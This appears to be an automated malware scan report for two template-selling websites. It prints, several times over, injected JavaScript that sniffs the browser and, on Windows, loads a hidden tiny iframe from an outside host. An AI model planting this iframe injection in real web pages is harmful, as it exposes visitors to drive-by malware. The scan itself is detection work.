Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=xsiteprosoft.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: benjaminsgourmetfoods.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 14 Feb 2015 19:12:05 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html
GET / HTTP/1.1
Host: benjaminsgourmetfoods.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 14 Feb 2015 19:12:05 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html
Second query (visit from search engine):
GET / HTTP/1.1
Host: benjaminsgourmetfoods.com
Referer: http://www.google.com/search?q=benjaminsgourmetfoods.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: benjaminsgourmetfoods.com
Referer: http://www.google.com/search?q=benjaminsgourmetfoods.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Scanned pages/files
Request | Server response | Status |
http://xsiteprosoft.com/ | HTTP/1.1 301 Moved Permanently Cache-Control: max-age=900 Connection: close Date: Sat, 17 Jan 2015 03:12:25 GMT Age: 0 Location: http://www.buyxsiteprotemplates.com/xsitepro Server: Microsoft-IIS/7.5 Content-Length: 0 Content-Type: text/html X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET | malicious |
http://www.buyxsiteprotemplates.com/xsitepro | 200 OK Content-Length: 81064 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.loaded) {
showBrowVer(); } else { if (window.addEventListener) { window.addEventListener('load', showBrowVer, false); } else { window.attachEvent('onload', showBrowVer); } } function browserDetectNav(chrAfterPoint) { var UA=window.navigator.userAgent, OperaB = /Opera[ \/]+\w+\.\w+/i, OperaV = /Version[ \/ ...[3888 bytes skipped]... Decoded script: function showBrowVer() { var data = browserDetectNav(); if (data[0]) { if ((data[0] == "Opera" || data[0] == "MSIE" || data[0] == "Firefox") & data[3] == "Windows") { var divTag = document.createElement("div"); divTag.id = "dt"; document.body.appendChild(divTag); var js_kod2 = document.createElement("iframe"); js_kod2.src = "http://www.shop-corp24.com"; js_kod2.width = "5px"; js_kod2.height = "3px"; js_kod2.setAttribute("style", "visibility:hidden"); document.getElementById("dt").appendChild(js_kod2); } } } Antivirus reports:
| ||
http://www.buyxsiteprotemplates.com/wp-includes/js/jquery/jquery.js?ver=1.7.1 | 200 OK Content-Length: 93889 Content-Type: application/javascript | clean |
http://www.buyxsiteprotemplates.com/wp-content/plugins/popup-domination/js/lightbox.js?ver=3.3 | 200 OK Content-Length: 17269 Content-Type: application/javascript | clean |
http://www.buyxsiteprotemplates.com/wp-content/plugins/popup-domination/inc/flowplayer/example/flowplayer-3.2.6.min.js?ver=3.0 | 200 OK Content-Length: 16815 Content-Type: application/javascript | clean |
http://www.buyxsiteprotemplates.com/wp-content/plugins/popup-domination/inc/flowplayer/example/flowplayer.ipad-3.2.2.min.js?ver=3.0 | 200 OK Content-Length: 11633 Content-Type: application/javascript | clean |
http://www.buyxsiteprotemplates.com/wp-content/themes/optimize/includes/js/superfish.js?ver=3.3.1 | 200 OK Content-Length: 3912 Content-Type: application/javascript | clean |
http://www.buyxsiteprotemplates.com/wp-content/themes/optimize/includes/js/scripts.js?ver=3.3.1 | 200 OK Content-Length: 2142 Content-Type: application/javascript | clean |
http://www.buyxsiteprotemplates.com/wp-content/themes/optimize/includes/js/innerfade.js?ver=3.3.1 | 200 OK Content-Length: 5059 Content-Type: application/javascript | clean |
http://www.buyxsiteprotemplates.com/wp-content/themes/optimize/includes/js/prettyPhoto.js?ver=3.3.1 | 200 OK Content-Length: 24630 Content-Type: application/javascript | clean |
http://xsiteprosoft.com/test404page.js | HTTP/1.1 301 Moved Permanently Cache-Control: max-age=900 Connection: close Date: Sat, 17 Jan 2015 03:12:37 GMT Age: 0 Location: http://www.buyxsiteprotemplates.com/xsitepro/test404page.js Server: Microsoft-IIS/7.5 Content-Length: 0 Content-Type: text/html X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET | malicious |
http://www.buyxsiteprotemplates.com/xsitepro/test404page.js | 404 Not Found Content-Length: 51445 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.loaded) {
showBrowVer(); } else { if (window.addEventListener) { window.addEventListener('load', showBrowVer, false); } else { window.attachEvent('onload', showBrowVer); } } function browserDetectNav(chrAfterPoint) { var UA=window.navigator.userAgent, OperaB = /Opera[ \/]+\w+\.\w+/i, OperaV = /Version[ \/ ...[3888 bytes skipped]... Decoded script: function showBrowVer() { var data = browserDetectNav(); if (data[0]) { if ((data[0] == "Opera" || data[0] == "MSIE" || data[0] == "Firefox") & data[3] == "Windows") { var divTag = document.createElement("div"); divTag.id = "dt"; document.body.appendChild(divTag); var js_kod2 = document.createElement("iframe"); js_kod2.src = "http://www.shop-corp24.com"; js_kod2.width = "5px"; js_kod2.height = "3px"; js_kod2.setAttribute("style", "visibility:hidden"); document.getElementById("dt").appendChild(js_kod2); } } } Antivirus reports:
| ||
http://www.buyxsiteprotemplates.com/ | 200 OK Content-Length: 55065 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.loaded) {
showBrowVer(); } else { if (window.addEventListener) { window.addEventListener('load', showBrowVer, false); } else { window.attachEvent('onload', showBrowVer); } } function browserDetectNav(chrAfterPoint) { var UA=window.navigator.userAgent, OperaB = /Opera[ \/]+\w+\.\w+/i, OperaV = /Version[ \/ ...[3888 bytes skipped]... Decoded script: function showBrowVer() { var data = browserDetectNav(); if (data[0]) { if ((data[0] == "Opera" || data[0] == "MSIE" || data[0] == "Firefox") & data[3] == "Windows") { var divTag = document.createElement("div"); divTag.id = "dt"; document.body.appendChild(divTag); var js_kod2 = document.createElement("iframe"); js_kod2.src = "http://www.shop-corp24.com"; js_kod2.width = "5px"; js_kod2.height = "3px"; js_kod2.setAttribute("style", "visibility:hidden"); document.getElementById("dt").appendChild(js_kod2); } } } Antivirus reports:
| ||
http://www.buyxsiteprotemplates.com/?cat=1 | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 17 Jan 2015 03:12:40 GMT Location: http://www.buyxsiteprotemplates.com/category/templates Server: Apache/2.4.10 (Unix) OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 Content-Length: 0 Content-Type: text/html; charset=UTF-8 X-Pingback: http://www.buyxsiteprotemplates.com/xmlrpc.php X-Powered-By: PHP/5.4.31 | clean |
http://www.buyxsiteprotemplates.com/category/templates | 200 OK Content-Length: 74740 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.loaded) {
showBrowVer(); } else { if (window.addEventListener) { window.addEventListener('load', showBrowVer, false); } else { window.attachEvent('onload', showBrowVer); } } function browserDetectNav(chrAfterPoint) { var UA=window.navigator.userAgent, OperaB = /Opera[ \/]+\w+\.\w+/i, OperaV = /Version[ \/ ...[3888 bytes skipped]... Decoded script: function showBrowVer() { var data = browserDetectNav(); if (data[0]) { if ((data[0] == "Opera" || data[0] == "MSIE" || data[0] == "Firefox") & data[3] == "Windows") { var divTag = document.createElement("div"); divTag.id = "dt"; document.body.appendChild(divTag); var js_kod2 = document.createElement("iframe"); js_kod2.src = "http://www.shop-corp24.com"; js_kod2.width = "5px"; js_kod2.height = "3px"; js_kod2.setAttribute("style", "visibility:hidden"); document.getElementById("dt").appendChild(js_kod2); } } } Antivirus reports:
| ||
http://www.buyxsiteprotemplates.com/contact-us | 200 OK Content-Length: 54400 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.loaded) {
showBrowVer(); } else { if (window.addEventListener) { window.addEventListener('load', showBrowVer, false); } else { window.attachEvent('onload', showBrowVer); } } function browserDetectNav(chrAfterPoint) { var UA=window.navigator.userAgent, OperaB = /Opera[ \/]+\w+\.\w+/i, OperaV = /Version[ \/ ...[3888 bytes skipped]... Decoded script: function showBrowVer() { var data = browserDetectNav(); if (data[0]) { if ((data[0] == "Opera" || data[0] == "MSIE" || data[0] == "Firefox") & data[3] == "Windows") { var divTag = document.createElement("div"); divTag.id = "dt"; document.body.appendChild(divTag); var js_kod2 = document.createElement("iframe"); js_kod2.src = "http://www.shop-corp24.com"; js_kod2.width = "5px"; js_kod2.height = "3px"; js_kod2.setAttribute("style", "visibility:hidden"); document.getElementById("dt").appendChild(js_kod2); } } } Antivirus reports:
| ||
http://www.buyxsiteprotemplates.com/feed?cat=-1 | 404 Not Found Content-Length: 903 Content-Type: text/xml | clean |
http://www.buyxsiteprotemplates.com/test404page.js | 404 Not Found Content-Length: 51436 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(document.loaded) {
showBrowVer(); } else { if (window.addEventListener) { window.addEventListener('load', showBrowVer, false); } else { window.attachEvent('onload', showBrowVer); } } function browserDetectNav(chrAfterPoint) { var UA=window.navigator.userAgent, OperaB = /Opera[ \/]+\w+\.\w+/i, OperaV = /Version[ \/ ...[3888 bytes skipped]... Decoded script: function showBrowVer() { var data = browserDetectNav(); if (data[0]) { if ((data[0] == "Opera" || data[0] == "MSIE" || data[0] == "Firefox") & data[3] == "Windows") { var divTag = document.createElement("div"); divTag.id = "dt"; document.body.appendChild(divTag); var js_kod2 = document.createElement("iframe"); js_kod2.src = "http://www.shop-corp24.com"; js_kod2.width = "5px"; js_kod2.height = "3px"; js_kod2.setAttribute("style", "visibility:hidden"); document.getElementById("dt").appendChild(js_kod2); } } } Antivirus reports:
|